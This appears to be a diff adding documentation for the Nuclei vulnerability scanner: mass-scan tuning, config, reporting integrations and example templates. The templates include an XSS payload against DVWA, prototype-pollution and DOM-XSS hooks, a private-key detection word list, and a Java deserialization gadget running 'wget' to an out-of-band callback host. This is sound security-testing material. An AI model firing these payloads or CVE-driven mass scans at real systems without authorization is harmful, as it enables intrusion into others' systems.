Required API keys can be obtained by signing up on following platform [Shodan](https://account.shodan.io/register), [Censys](https://censys.io/register), [Fofa](https://fofa.info/toLogin), [Quake](https://quake.360.net/quake/#/index), [Hunter](https://user.skyeye.qianxin.com/user/register?next=https%3A//hunter.qianxin.com/api/uLogin&fromLogin=1) and [ZoomEye](https://www.zoomeye.org/login) .
Example of template execution using a search query.
```
export SHODAN_API_KEY=xxx
nuclei -id 'CVE-2021-26855' -uq 'vuln:CVE-2021-26855' -ue shodan
```
It can also read queries from templates metadata and execute template against hosts returned by uncover for that query.
Example of template execution using template-defined search queries.
Template snippet of [CVE-2021-26855](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)
```yaml
metadata:
shodan-query: 'vuln:CVE-2021-26855'
```
```console
nuclei -t cves/2021/CVE-2021-26855.yaml -uncover
nuclei -tags cve -uncover
```
We can update the nuclei configuration file to include these tags for all scans.
## **Large scans** using Nuclei
Nuclei fully utilises resources to optimise scanning speed. However, when scanning **thousands**, if not **millions, of targets**, scanning using default parameter values is bound to cause some performance issues ex: low RPS, Slow Scans, Process Killed, High RAM consumption, etc. this is due to limited resources and network I/O. Hence following parameters need to be tuned based on system configuration and targets.
For enterprises dealing with large-scale scanning, optimizing Nuclei can be a burdensome task, especially when scans change frequently. That's where [Nuclei Enterprise](https://nuclei.sh/enterprise) comes in. With its managed offering and dedicated support, Nuclei Enterprise minimizes the burden of optimizing Nuclei on large scans, making it an ideal choice for enterprise-level scanning needs.
| Flag | Short | Description |
| ------------- | ----- | --------------------------------------------------------- |
| scan-strategy | -ss | Scan Strategy to Use (auto/host-spray/template-spray) |
| bulk-size | -bs | Max Number of targets to scan in parallel |
| concurrency | -c | Max Number of templates to use in parallel while scanning |
| stream | - | stream mode - start elaborating without sorting the input |
<Note>
These are common parameters that need to be tuned. Apart from these
`-rate-limit`, `-retries`, `-timeout`, `-max-host-error` also need to be tuned
based on targets that are being scanned
</Note>
### Which Scan Strategy to Use?
**scan-strategy** option can have three possible values
- `host-spray` : All templates are iterated over each target.
- `template-spray` : Each template is iterated over all targets.
- `auto`(Default) : Placeholder of `template-spray` for now.
User should select **Scan Strategy** based on number of targets and Each strategy has its own pros & cons.
- When targets < 1000, `template-spray` should be used. This strategy is slightly faster than `host-spray` but uses more RAM and does not optimally reuse connections.
- When targets > 1000, `host-spray` should be used. This strategy uses less RAM than `template-spray` and reuses HTTP connections along with some minor improvements and these are crucial when mass scanning.
### Concurrency & Bulk-Size
Whatever the `scan-strategy` is `-concurrency` and `-bulk-size` are crucial for tuning any type of scan. While tuning these parameters following points should be noted.
**If `scan-strategy` is template-spray**
- `-concurrency` < `bulk-size` (Ex: `-concurrency 10 -bulk-size 200`)
**If `scan-strategy` is host-spray**
- `-concurrency` > `bulk-size` (Ex: `-concurrency 200 -bulk-size 10`)
<Tip> `-concurrency` x `-bulk-size` \<\= 2500 (depending on system config) </Tip>
### Stream
This option should only be enabled if targets > 10k . This skips any type of sorting or preprocessing on target list.
## Nuclei **Config**
> Since release of [v2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) nuclei uses [goflags](https://github.com/projectdiscovery/goflags) for clean CLI experience and long/short formatted flags.
>
> [goflags](https://github.com/projectdiscovery/goflags) comes with auto-generated config file support that coverts all available CLI flags into config file, basically you can define all CLI flags into config file to avoid repetitive CLI flags that loads as default for every scan of nuclei.
>
> Default path of nuclei config file is `$HOME/.config/nuclei/config.yaml`, uncomment and configure the flags you wish to run as default.
Here is an example config file:
```yaml
# Headers to include with all HTTP request
header:
- 'X-BugBounty-Hacker: h1/geekboy'
# Directory based template execution
templates:
- cves/
- vulnerabilities/
- misconfiguration/
# Tags based template execution
tags: exposures,cve
# Template Filters
tags: exposures,cve
author: geeknik,pikpikcu,dhiyaneshdk
severity: critical,high,medium
# Template Allowlist
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
- vulnerabilities/xxx
- misconfiguration/xxxx
# Template Denylist
exclude-tags: info # Tag based exclusion
exclude-templates: # Template based exclusion
- vulnerabilities/xxx
- misconfiguration/xxxx
# Rate Limit configuration
rate-limit: 500
bulk-size: 50
concurrency: 50
```
Once configured, **config file be used as default**, additionally custom config file can be also provided using `-config` flag.
<Note>
**Running nuclei with custom config file**
```
nuclei -config project.yaml -list urls.txt
```
</Note>
## Nuclei **Reporting**
Nuclei comes with reporting module support with the release of [v2.3.0](https://nuclei.projectdiscovery.io/releases/nuclei-changelog/#nuclei-v230-10-march-2021) supporting GitHub, GitLab, and Jira integration, this allows nuclei engine to create automatic tickets on the supported platform based on found results.
| **Platform** | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch | Splunk HEC |
| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Support** | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> | <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24"><path fill-rule="evenodd" d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12zm16.28-2.72a.75.75 0 00-1.06-1.06l-5.97 5.97-2.47-2.47a.75.75 0 00-1.06 1.06l3 3a.75.75 0 001.06 0l6.5-6.5z"></path></svg> |
`-rc, -report-config` flag can be used to provide a config file to read configuration details of the platform to integrate. Here is an [example config file](https://github.com/projectdiscovery/nuclei/blob/master/v2/cmd/nuclei/issue-tracker-config.yaml) for all supported platforms.
For example, to create tickets on GitHub, create a config file with the following content and replace the appropriate values:
```yaml
# GitHub contains configuration options for GitHub issue tracker
github:
username: '$user'
owner: '$user'
token: '$token'
project-name: 'testing-project'
issue-label: 'Nuclei'
```
To store results in Elasticsearch, create a config file with the following content and replace the appropriate values:
```yaml
# elasticsearch contains configuration options for elasticsearch exporter
elasticsearch:
# IP for elasticsearch instance
ip: 127.0.0.1
# Port is the port of elasticsearch instance
port: 9200
# IndexName is the name of the elasticsearch index
index-name: nuclei
```
To forward results to Splunk HEC, create a config file with the following content and replace the appropriate values:
```yaml
# splunkhec contains configuration options for splunkhec exporter
splunkhec:
# Hostname for splunkhec instance
host: '$hec_host'
# Port is the port of splunkhec instance
port: 8088
# IndexName is the name of the splunkhec index
index-name: nuclei
# SSL enables ssl for splunkhec connection
ssl: true
# SSLVerification disables SSL verification for splunkhec
ssl-verification: true
# HEC Token for the splunkhec instance
token: '$hec_token'
```
To forward results to Jira, create a config file with the following content and replace the appropriate values:
The Jira reporting options allows for custom fields, as well as using variables from the Nuclei templates in those custom fields.
The supported variables currently are: `$CVSSMetrics`, `$CVEID`, `$CWEID`, `$Host`, `$Severity`, `$CVSSScore`, `$Name`
In addition, Jira is strict when it comes to custom field entry. If the field is a dropdown, Jira accepts only the case sensitive specific string and the API call is slightly different. To support this, there are three types of customfields.
- `name` is the dropdown value
- `id` is the ID value of the dropdown
- `freeform` is if the customfield the entry of any value
To avoid duplication, the JQL query run can be slightly modified by the config file.
The `CLOSED_STATUS` can be changed in the Jira template file using the `status-not` variable.
`summary ~ TEMPLATE_NAME AND summary ~ HOSTNAME AND status != CLOSED_STATUS`
```yaml
jira:
# cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
cloud: true
# update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created
update-existing: false
# URL is the jira application url
url: https://localhost/jira
# account-id is the account-id of the Jira user or username in case of on-prem Jira
account-id: test-account-id
# email is the email of the user for Jira instance
email: test@test.com
# token is the token for Jira instance or password in case of on-prem Jira
token: test-token
#project-name is the name of the project.
project-name: test-project-name
#issue-type is the name of the created issue type (case sensitive)
issue-type: Bug
# SeverityAsLabel (optional) sends the severity as the label of the created issue
# User custom fields for Jira Cloud instead
severity-as-label: true
# Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
# When checking for duplicates, the JQL query will filter out status's that match this.
# If it finds a match _and_ the ticket does have this status, a new one will be created.
status-not: Closed
# Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.
# freeform can be used if the custom field is just a text entry
# Variables can be used to pull various pieces of data from the finding itself.
# Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name
custom_fields:
customfield_00001:
name: 'Nuclei'
customfield_00002:
freeform: $CVSSMetrics
customfield_00003:
freeform: $CVSSScore
```
**Running nuclei with reporting module:**
```bash
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
```
Similarly, other platforms can be configured. Reporting module also supports basic filtering and duplicate checks to avoid duplicate ticket creation.
```yaml
allow-list:
severity: high,critical
```
This will ensure to only creating tickets for issues identified with **high** and **critical** severity; similarly, `deny-list` can be used to exclude issues with a specific severity.
If you are running periodic scans on the same assets, you might want to consider `-rdb, -report-db` flag that creates a local copy of the valid findings in the given directory utilized by reporting module to compare and **create tickets for unique issues only**.
```bash
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
```
**<ins>Markdown Export</ins>**
Nuclei supports markdown export of valid findings with `-me, -markdown-export` flag, this flag takes directory as input to store markdown formatted reports.
Including request/response in the markdown report is optional, and included when `-irr, -include-rr` flag is used along with `-me`.
```bash
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
```
**<ins>SARIF Export</ins>**
Nuclei supports SARIF export of valid findings with `-se, -sarif-export` flag. This flag takes a file as input to store SARIF formatted report.
```bash
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
```
It is also possible to visualize Nuclei results using **SARIF** files.
1. By uploading a SARIF file to [SARIF Viewer](https://microsoft.github.io/sarif-web-component/)
2. By uploading a SARIF file to []Github Actions](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)
More info on the SARIF output is documented [here](https://github.com/projectdiscovery/nuclei/pull/2925).
<Note>
These are **not official** viewers of Nuclei and `Nuclei` has no liability
towards any of these options to visualize **Nuclei** results. These are just
some publicly available options to visualize SARIF files.
</Note>
## Scan **Metrics**
Nuclei expose running scan metrics on a local port `9092` when `-metrics` flag is used and can be accessed at **localhost:9092/metrics**, default port to expose scan information is configurable using `-metrics-port` flag.
Here is an example to query `metrics` while running nuclei as following `nuclei -t cves/ -l urls.txt -metrics`
```bash
curl -s localhost:9092/metrics | jq .
```
```json
{
"duration": "0:00:03",
"errors": "2",
"hosts": "1",
"matched": "0",
"percent": "99",
"requests": "350",
"rps": "132",
"startedAt": "2021-03-27T18:02:18.886745+05:30",
"templates": "256",
"total": "352"
}
```
## Passive Scan
Nuclei engine supports passive mode scanning for HTTP based template utilizing file support, with this support we can run HTTP based templates against locally stored HTTP response data collected from any other tool.
```sh
nuclei -passive -target http_data
```
<Note>Passive mode support is limited for templates having `{{BasedURL}}` or `{{BasedURL/}}` as base path.</Note>

BIN
docs/images/ai.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 490 KiB

BIN
docs/images/background.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 384 KiB

BIN
docs/images/editor.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 618 KiB

BIN
docs/logo/dark.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

BIN
docs/logo/light.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

138
docs/mint.json Normal file
View File

@ -0,0 +1,138 @@
{
"$schema": "https://mintlify.com/schema.json",
"name": "Nuclei Documentation",
"logo": {
"dark": "/logo/dark.png",
"light": "/logo/light.png"
},
"favicon": "/favicon.png",
"colors": {
"primary": "#3B2FC9",
"light": "#6673FF",
"dark": "#3B2FC9"
},
"backgroundImage": "/images/background.png",
"topbarCtaButton": {
"type": "github",
"url": "https://github.com/projectdiscovery/nuclei"
},
"topAnchor": {
"name": "Getting Started",
"icon": "circle-play"
},
"primaryTab": {
"name": "Getting Started"
},
"tabs": [
{
"name": "Template Guide",
"url": "template-guide"
},
{
"name": "Template Example",
"url": "template-example"
},
{
"name": "Template Editor",
"url": "editor"
},
{
"name": "FAQ",
"url": "faq"
}
],
"navigation": [
{
"group": "Getting Started",
"pages": [
"getting-started/overview",
"getting-started/features",
"getting-started/install",
"getting-started/running"
]
},
{
"group": "Template Guide",
"pages": [
"template-guide/introduction",
"template-guide/template-details",
{
"group": "HTTPs",
"pages": [
"template-guide/http/base-http",
"template-guide/http/raw-http",
"template-guide/http/http-payloads",
"template-guide/http/http-fuzzing",
"template-guide/http/unsafe-http",
"template-guide/http/advance-http"
]
},
"template-guide/headless",
"template-guide/network",
"template-guide/dns",
"template-guide/file",
{
"group": "Operators",
"pages": [
"template-guide/operators/matchers",
"template-guide/operators/extractors"
]
},
"template-guide/oob-testing",
"template-guide/helper-functions",
"template-guide/variables",
"template-guide/preprocessors",
"template-guide/workflows"
]
},
{
"group": "Template Example",
"pages": [
{
"group": "HTTP",
"pages": [
"template-example/http/base-http",
"template-example/http/raw-http",
"template-example/http/http-fuzzing",
"template-example/http/http-smuggling",
"template-example/http/http-payloads",
"template-example/http/http-race-conditions"
]
},
"template-example/dns",
"template-example/file",
"template-example/headless",
"template-example/network",
"template-example/workflow",
"template-example/helper-functions"
]
},
{
"group": "Editor",
"pages": [
"editor/introduction",
"editor/ai",
"editor/share",
"editor/shortcut"
]
},
{
"group": "FAQ",
"pages": [
"faq/nuclei",
"faq/templates",
"faq/editor"
]
}
],
"footerSocials": {
"twitter": "https://twitter.com/pdnuclei",
"github": "https://github.com/projectdiscovery/nuclei",
"discord": "https://discord.com/invite/projectdiscovery"
},
"feedback": {
"thumbsRating": true,
"suggestEdit": true
}
}

View File

@ -0,0 +1,58 @@
---
title: "DNS"
---
## Basic template
Basic DNS Request to detect if a CNAME record exists for an input.
```yaml
id: basic-dns-example
info:
name: Test DNS Template
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: CNAME
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# The response must contain a CNAME record
- "IN\tCNAME"
```
## Multiple matcher
An example showcasing multiple matchers of nuclei, allowing detection of Subdomains with CNAME records that point to either `zendesk.com` or `github.io`.
```yaml
id: multiple-matcher
info:
name: Test DNS Template
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: CNAME
class: inet
recursion: true
retries: 5
matchers-condition: or
matchers:
- type: word
name: zendesk
words:
- "zendesk.com"
- type: word
name: github
words:
- "github.io"
```

View File

@ -0,0 +1,58 @@
---
title: "File"
---
## Basic File Template
This template checks for a pattern in provided files.
```yaml
id: ssh-public-key
info:
name: SSH Public Key Detect
author: pd-team
severity: low
file:
- extensions:
- pub
max-size: 1024 # read very small chunks
matchers:
- type: word
words:
- "ssh-rsa"
```
## Extension Denylist with No-Recursive
The below template is same as last one, but it makes use of an extension denylist along with the no-recursive option.
```yaml
id: ssh-private-key
info:
name: SSH Private Key Detect
author: pd-team
severity: high
file:
- extensions:
- all
denylist:
- pub
no-recursive: true
max-size: 1024 # read very small chunks
matchers:
- type: word
words:
- "BEGIN OPENSSH PRIVATE KEY"
- "BEGIN PRIVATE KEY"
- "BEGIN RSA PRIVATE KEY"
- "BEGIN DSA PRIVATE KEY"
- "BEGIN EC PRIVATE KEY"
- "BEGIN PGP PRIVATE KEY BLOCK"
- "ssh-rsa"
```

View File

@ -0,0 +1,276 @@
---
title: "Headless"
---
## Basic Headless Navigation Example
This template visits a URL in the headless browser and waits for it to load.
```yaml
id: basic-headless-request
info:
name: Basic Headless Request
author: pdteam
severity: info
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitload
```
## Headless prototype pollution detection
The below template detects prototype pollution on pages with Nuclei headless capabilities. The code for detection is taken from [https://github.com/msrkp/PPScan](https://github.com/msrkp/PPScan). We make use of script injection capabilities of nuclei to provide reliable detection for prototype pollution.
```yaml
id: prototype-pollution-check
info:
name: Prototype Pollution Check
author: pd-team
severity: medium
reference: https://github.com/msrkp/PPScan
headless:
- steps:
- action: setheader
args:
part: response
key: Content-Security-Policy
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
- action: setheader
args:
part: response
key: X-Frame-Options
value: foo
- action: setheader
args:
part: response
key: If-None-Match
value: foo
# Set the hook to override window.data for xss detection
- action: script
args:
hook: true
code: |
// Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
(function() {window.alerts = [];
function logger(found) {
window.alerts.push(found);
}
function check() {
loc = location.href;
if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
setTimeout(function() {
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
logger(location.href);
}
var url = new URL(location.origin + location.pathname);
url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
location = url.href;
}, 5 * 1000);
} else if (loc.search("a0def12bce") != -1) {
setTimeout(function() {
if (Object.prototype.a0def12bce == "ddcb362f1d60") {
logger(location.href);
}
window.close();
}, 5 * 1000);
} else {
var url = new URL(loc);
url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
location = url.href;
}
}
window.onload = function() {
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
logger(location.href);
} else {
check();
}
};
var timerID = setInterval(function() {
if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
logger(location.href);
clearInterval(timerID);
}
}, 5 * 1000)})();
- args:
url: "{{BaseURL}}"
action: navigate
- action: waitload
- action: script
name: alerts
args:
code: "window.alerts"
matchers:
- type: word
part: alerts
words:
- "__proto__"
extractors:
- type: kval
part: alerts
kval:
- alerts
```
## DVWA XSS Reproduction With Headless Mode
This template logs into DVWA (Damn Vulnerable Web App) and tries to automatically reproduce a Reflected XSS, returning a match if it found that the payload was executed successfully.
```yaml
id: dvwa-xss-verification
info:
name: DVWA Reflected XSS Verification
author: pd-team
severity: info
headless:
- steps:
- args:
url: "{{BaseURL}}"
action: navigate
- action: waitload
# Set the hook to override window.data for xss detection
- action: script
args:
hook: true
code: "(function() { window.alert = function() { window.data = 'found' } })()"
- args:
by: x
value: admin
xpath: /html/body/div/div[2]/form/fieldset/input
action: text
- args:
by: x
value: password
xpath: /html/body/div/div[2]/form/fieldset/input[2]
action: text
- args:
by: x
xpath: /html/body/div/div[2]/form/fieldset/p/input
action: click
- action: waitload
- args:
by: x
xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
action: click
- action: waitload
- args:
by: x
value: '"><svg/onload=alert(1)>'
xpath: /html/body/div/div[3]/div/div/form/p/input
action: text
- args:
keys: "\r" # Press the enter key on the keyboard
action: keyboard
- action: waitload
- action: script
name: alert
args:
code: "window.data"
matchers:
- part: alert
type: word
words:
- "found"
```
## DOM XSS Detection
This template performs detection of DOM-XSS for `window.name` source by hooking common sinks such as `eval`, `innerHTML` and `document.write`.
```yaml
id: window-name-domxss
info:
name: window.name DOM XSS
author: pd-team
severity: medium
headless:
- steps:
- action: setheader
args:
part: response
key: Content-Security-Policy
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
- action: script
args:
hook: true
code: |
(function() {window.alerts = [];
function logger(found) {
window.alerts.push(found);
}
function getStackTrace () {
var stack;
try {
throw new Error('');
}
catch (error) {
stack = error.stack || '';
}
stack = stack.split('\n').map(function (line) { return line.trim(); });
return stack.splice(stack[0] == 'Error' ? 2 : 1);
}
window.name = "{{randstr_1}}'\"<>";
var oldEval = eval;
var oldDocumentWrite = document.write;
var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
Object.defineProperty(Element.prototype, 'innerHTML', {
set: function innerHTML_Setter(val) {
if (val.includes("{{randstr_1}}'\"<>")) {
logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
}
return setter.call(this, val)
}
});
eval = function(data) {
if (data.includes("{{randstr_1}}'\"<>")) {
logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
}
return oldEval.apply(this, arguments);
};
document.write = function(data) {
if (data.includes("{{randstr_1}}'\"<>")) {
logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
}
return oldEval.apply(this, arguments);
};
})();
- args:
url: "{{BaseURL}}"
action: navigate
- action: waitload
- action: script
name: alerts
args:
code: "window.alerts"
matchers:
- type: word
part: alerts
words:
- "sink:"
extractors:
- type: kval
part: alerts
kval:
- alerts
```

View File

@ -0,0 +1,100 @@
---
title: "Helpers"
---
## Helper Functions Examples
Nuclei has a number of helper functions that may be used to conduct various run-time operations on the request block. Here's an example template that shows how to use all the available helper functions.
```yaml
id: helper-functions-examples
info:
name: RAW Template with Helper Functions
author: pdteam
severity: info
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
1: {{base64("Hello")}}
2: {{base64(1234)}}
3: {{base64_decode("SGVsbG8=")}}
4: {{base64_py("Hello")}}
5: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
6: {{concat("Hello", "world")}}
7: {{contains("Hello", "lo")}}
8: {{contains_all("Hello everyone", "lo", "every")}}
9: {{contains_any("Hello everyone", "abc", "llo")}}
10: {{date_time("%Y-%M-%D")}}
11: {{date_time("%Y-%M-%D", unix_time())}}
12: {{date_time("%H-%m")}}
13: {{date_time("02-01-2006 15:04")}}
14: {{date_time("02-01-2006 15:04", unix_time())}}
15: {{dec_to_hex(11111)}}
16: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
17: {{gzip("Hello")}}
18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
19: {{hex_decode("6161")}}
20: {{hex_encode("aa")}}
21: {{hmac("sha1", "test", "scrt")}}
22: {{hmac("sha256", "test", "scrt")}}
23: {{html_escape("<body>test</body>")}}
24: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
25: {{join("_", "hello", "world")}}
26: {{len("Hello")}}
27: {{len(5555)}}
28: {{md5("Hello")}}
29: {{md5(1234)}}
30: {{mmh3("Hello")}}
31: {{print_debug(1+2, "Hello")}}
32: {{rand_base(5, "abc")}}
33: {{rand_base(5, "")}}
34: {{rand_base(5)}}
35: {{rand_char("abc")}}
36: {{rand_char("")}}
37: {{rand_char()}}
38: {{rand_int(1, 10)}}
39: {{rand_int(10)}}
40: {{rand_int()}}
41: {{rand_ip("192.168.0.0/24")}}
42: {{rand_ip("2002:c0a8::/24")}}
43: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
44: {{rand_text_alpha(10, "abc")}}
45: {{rand_text_alpha(10, "")}}
46: {{rand_text_alpha(10)}}
47: {{rand_text_alphanumeric(10, "ab12")}}
48: {{rand_text_alphanumeric(10)}}
49: {{rand_text_numeric(10, 123)}}
50: {{rand_text_numeric(10)}}
51: {{regex("H([a-z]+)o", "Hello")}}
52: {{remove_bad_chars("abcd", "bc")}}
53: {{repeat("a", 5)}}
54: {{replace("Hello", "He", "Ha")}}
55: {{replace_regex("He123llo", "(\\d+)", "")}}
56: {{reverse("abc")}}
57: {{sha1("Hello")}}
58: {{sha256("Hello")}}
59: {{to_lower("HELLO")}}
60: {{to_upper("hello")}}
61: {{trim("aaaHelloddd", "ad")}}
62: {{trim_left("aaaHelloddd", "ad")}}
63: {{trim_prefix("aaHelloaa", "aa")}}
64: {{trim_right("aaaHelloddd", "ad")}}
65: {{trim_space(" Hello ")}}
66: {{trim_suffix("aaHelloaa", "aa")}}
67: {{unix_time(10)}}
68: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
69: {{url_encode("https://projectdiscovery.io/test?a=1")}}
70: {{wait_for(1)}}
71: {{zlib("Hello")}}
72: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
73: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
74: {{starts_with("Hello", "He")}}
75: {{ends_with("Hello", "lo")}}
76: {{line_starts_with("Hi\nHello", "He")}}
77: {{line_ends_with("Hello\nHi", "lo")}}
78: {{ip_format("169.254.169.254", 4)}}
```

View File

@ -0,0 +1,218 @@
---
title: "Base HTTP"
---
## Basic Template
This template requests `/` path of URL and match string in the response.
```yaml
id: basic-example
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "This is test matcher text"
```
## Multiple matchers
This template requests `/` path of URL and run multiple OR based matchers against response.
```yaml
id: http-multiple-matchers
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
part: header
```
## Matchers with conditions
This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.
```yaml
id: matchers-conditions
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: and
part: header
- type: word
words:
- "PHP"
part: body
```
## Multiple matcher conditions
This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.
```yaml
id: multiple-matchers-conditions
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: or
part: header
- type: word
words:
- PHP
part: body
```
## Custom headers
This template requests `/` path of the URL as GET request with additional custom headers defined in the template.
```yaml
id: custom-headers
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: GET
# Example of sending some headers to the servers
headers:
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
path:
- "{{BaseURL}}/server-status"
matchers:
- type: word
words:
- Apache Server Status
- Server Version
condition: and
```
## POST requests
This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.
```yaml
id: post-request
info:
name: Test HTTP Template
author: pdteam
severity: info
http:
- method: POST
path:
- "{{BaseURL}}/admin"
body: 'admin=test'
matchers:
- type: word
words:
- Welcome Admin
```
## Time based Matcher
